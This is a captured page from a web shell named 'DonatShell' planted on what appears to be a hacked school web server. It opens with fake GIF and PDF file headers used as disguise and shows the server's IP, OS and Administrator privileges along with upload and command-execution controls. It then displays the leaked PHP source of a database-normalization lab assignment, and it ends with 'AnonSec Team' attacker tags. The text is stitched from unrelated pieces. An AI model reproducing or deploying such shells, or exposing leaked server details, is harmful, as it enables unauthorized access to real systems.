GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/MichaelMalz/CST1600/Labs/Lab13/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/MichaelMalz/CST1600/Labs/Lab13//Lab13.phpinc
<?
// MichaelMalz/CST1600/Labs/Lab08/index.php

$TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n";
ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path.
require('application.phpinc');
require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced.

$disabled = '';
$disabled = ' disabled'; // Comment this line to enable lab.

$uploadFilename = str_replace('zip','txt',$uploadFilename);
$uploadFilename = fileSafe($userFileName.'-'.$evaluationName.'.txt');
?>
<fieldset><legend>Description</legend>
The purpose of this lab is to demonstrate the ability to normilize tables from raw data.
<?=$gradeNote?>
<? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?>
</fieldset>

<fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Assignment</legend>
<ol class="count">
	<? // 1 ?>
	<li>
    Create a directory called <b class="copyText"><?=$evaluationName?></b>. We will use it for all work performed in this lab.
  </li>
	<? // 2 ?>
	<li>
		Create a file called <b class="copyText"><?=$uploadFilename?></b> in your <b><?=$evaluationName?></b> directory and copy the following text into it:
		<div id="StartingText" class="code copyText" style="white-space: pre-wrap;">UNF:
employeework (employeeId*, name, SSN, projectWork, spouseName, spouseSSN, spouseIsInsured)

1NF:

2NF:

3NF:

All data rows:

</div>
		<span class="note normal">Do not place any extra text in the text file other than as directed in steps 3 thru 6.</span>
		<fieldset><legend>The employeework table field meanings are:</legend>
			<ul>
				<li><b>employeeId</b> is a unique ID number assigned to the employee.</li>
				<li><b>name</b> is the full name of the employee.</li>
				<li><b>SSN</b> is the Social Security Number of the employee.</li>
				<li><b>projectWork</b> is a field that currently takes multiple values related to the work the employee performs.
					<ol>
						<li><b>code</b> is the unique code that is given to a project.</li>
						<li><b>name</b> is the name of the project.</li>
						<li><b>date</b> is the date the employee worked on the project.</li>
						<li><b>hoursworked</b> is the number of hours the employee worked on the project that day.</li>
					</ol>
				</li>
				<li><b>spouseName</b> is the full name of the employee's spouse (it will be empty/null if the employee is unmarried).</li>
				<li><b>spouseSSN</b> is the Social Security Number of the employee's spouse (it will be empty/null if the employee is unmarried).</li>
				<li><b>spouseIsInsured</b> is the full name of the employee's spouse (it will be empty/null if the employee is unmarried).</li>
			</ul>
		</fieldset>
		<fieldset><legend>Business logic:</legend>
			<ul>
				<li>If an employee is unmarried, no data is entered in the spouseName, spouseSSN, or spouseIsInsured fielda.</li>
				<li>If an employee works on a project multiple times in one day, the hours worked are totaled and only the total hours worked is entered (There will be only one entry per project/date).</li>
				<li>Each project code is unique.</li>
			</ul>
		</fieldset>
		<fieldset><legend>Designate primary keys, foreign keys, and unique fields with:</legend>
			<ul>
				<li><b class="bold copyText" style="font-family: monospace;">*</b> (asterisk) to denote a primary key field. <span class="note">PKs are unique and do not need to be marked with the <b>^</b> character.</span></li>
				<li><b class="bold copyText" style="font-family: monospace;">@</b> (at sign) to denote a foreign key field. Append <b>[table.field]</b> if the table and field a foreign key points to is not obvious.
					<br><span class="note">Such as when the FK field name is not the same as the name of the field it relates to.
					<br>E.G. The <b>rerortsTo</b> FK relates to the <b>employeeNumber</b> field in the <b>employees</b> table and would be written as: <b>reportsTo@[employees.employeeNumber]</b>.</span></li>
				<li><b class="bold copyText" style="font-family: monospace;">^</b> (caret) to denote a unique field that is not a primary key.</li>
			</ul>
		</fieldset>
	</li>
	<? // 3 ?>
	<li><b>1NF:</b> Normalize the tables to 1NF and list them under the <b>1NF:</b> line.
		<ol>
			<li>Make note of why any tables that violate 1NF. If all tables pass 1NF, just note <b>OK</b>.</li>
			<li>Create fields or tables as needed. Designate a primary key for all tables.
				<br>Make a note of the fields you create and why. This should be rare, but you may want to add an Id field to a new table. Mostly you will be removing repeating fields.
				<br>Make a note of the tables you create and why. This is quite common when you normalize tables thru to 3NF.
			</li>
			<li>Rename fields or tables as needed. Designate a primary key for all tables.
				<br>Make a note of the fields you rename and why. Changes may be needed to remove non-alphanumeric characters, pluralization, or when you remove repeating fields, etc.
				<br>Make a note of the table you rename and why. This is sometimes done when the data remaining in the table is changed.
			</li>
		</ol>
	</li>
	<? // 4 ?>
	<li><b>2NF:</b> Normalize the tables to 2NF and list them under the <b>2NF:</b> line.
		<ol>
			<li>Make note of why any tables that violate 2NF. If all tables pass 2NF, just note <b>OK</b>.</li>
			<li>Create fields or tables as needed. Designate a primary key for all tables.
				<br>Make a note of the fields you create and why. This should be rare, but you may want to add an Id field to a new table. Mostly you will be removing repeating fields.
				<br>Make a note of the tables you create and why. This is quite common when you normalize tables thru to 3NF.
			</li>
			<li>Rename fields or tables as needed. Designate a primary key for all tables.
				<br>Make a note of the fields you rename and why. Changes may be needed to remove non-alphanumeric characters, pluralization, or when you remove repeating fields, etc.
				<br>Make a note of the table you rename and why. This is sometimes done when the data remaining in the table is changed.
			</li>
		</ol>
	</li>
	<? // 5 ?>
	<li><b>3NF:</b> Normalize the tables and list them under the <b>3NF:</b> line.
		<ol>
			<li>Make note of why any tables that violate 3NF. If all tables pass 3NF, just note <b>OK</b>.</li>
			<li>Create fields or tables as needed. Designate a primary key for all tables.
				<br>Make a note of the fields you create and why. This should be rare, but you may want to add an Id field to a new table. Mostly you will be removing repeating fields.
				<br>Make a note of the tables you create and why. This is quite common when you normalize tables thru to 3NF.
			</li>
			<li>Rename fields or tables as needed. Designate a primary key for all tables.
				<br>Make a note of the fields you rename and why. Changes may be needed to remove non-alphanumeric characters, pluralization, or when you remove repeating fields, etc.
				<br>Make a note of the table you rename and why. This is sometimes done when the data remaining in the table is changed.
			</li>
		</ol>
	</li>
	<? // 6 ?>
	<li><b>All data rows:</b> Show all rows of data as they would be stored in the 3NF tables under the <b>All data rows:</b> line.
		<br>
		<? showBegin('See all data rows',false,true); ?>
		<pre class="copyText"><? require('Lab08_data.txt') ?></pre>
		<? showEnd(); ?>
	</li>
	<? // 7 ?>
	<li>Turn in your assignment:
		<ol type="a">
			<li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li>
			<li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?>> for grading.
			</li>
		</ol>
  </li>
</ol><? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?>
</fieldset>
<?
$PartialGradingCriteria = '
<b>Total possible points: assignmentPoints</b>
<br>
-15 1NF violation. Further grading will not be done.
<br>
-4 2NF violation.
<br>
-3 3NF violation.
<br>
-4 Data loss (Data not in tables or link between data is lost).
<br>
-4 Deletion anomaly.
<br>
-3 Insert or update anomaly.
<br>
-2 Incorrect primary key.
<br>
-2 Duplication of data (not covered by an insert or update anomaly).
<br>
-1 Duplication of table for same data type.
<br>
-1 Incorrect foreign key.
<br>
-1 Incorrect unique key.
<br>
-1 Bad table or field name.
<br>
-1 New or renamed field not listed under <b>Table field meanings are</b> section.
<br>
-2 Table in <b>All data rows</b> section does not match table in <b>3NF</b> section.
<br>
-1 Data incorrect in <b>All data rows</b> section.
<br>
';
require('Gradebook/EvaluationSubmission_END.phpinc');
require('common/sectionFooter.phpinc');
#require('../../ReferencesResources.phpinc');
#require($Instructor['Path'].'/ContactInformation.phpinc');
require('common/pageFooter.phpinc');
if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n";
?>

Anon7 - 2022
AnonSec Team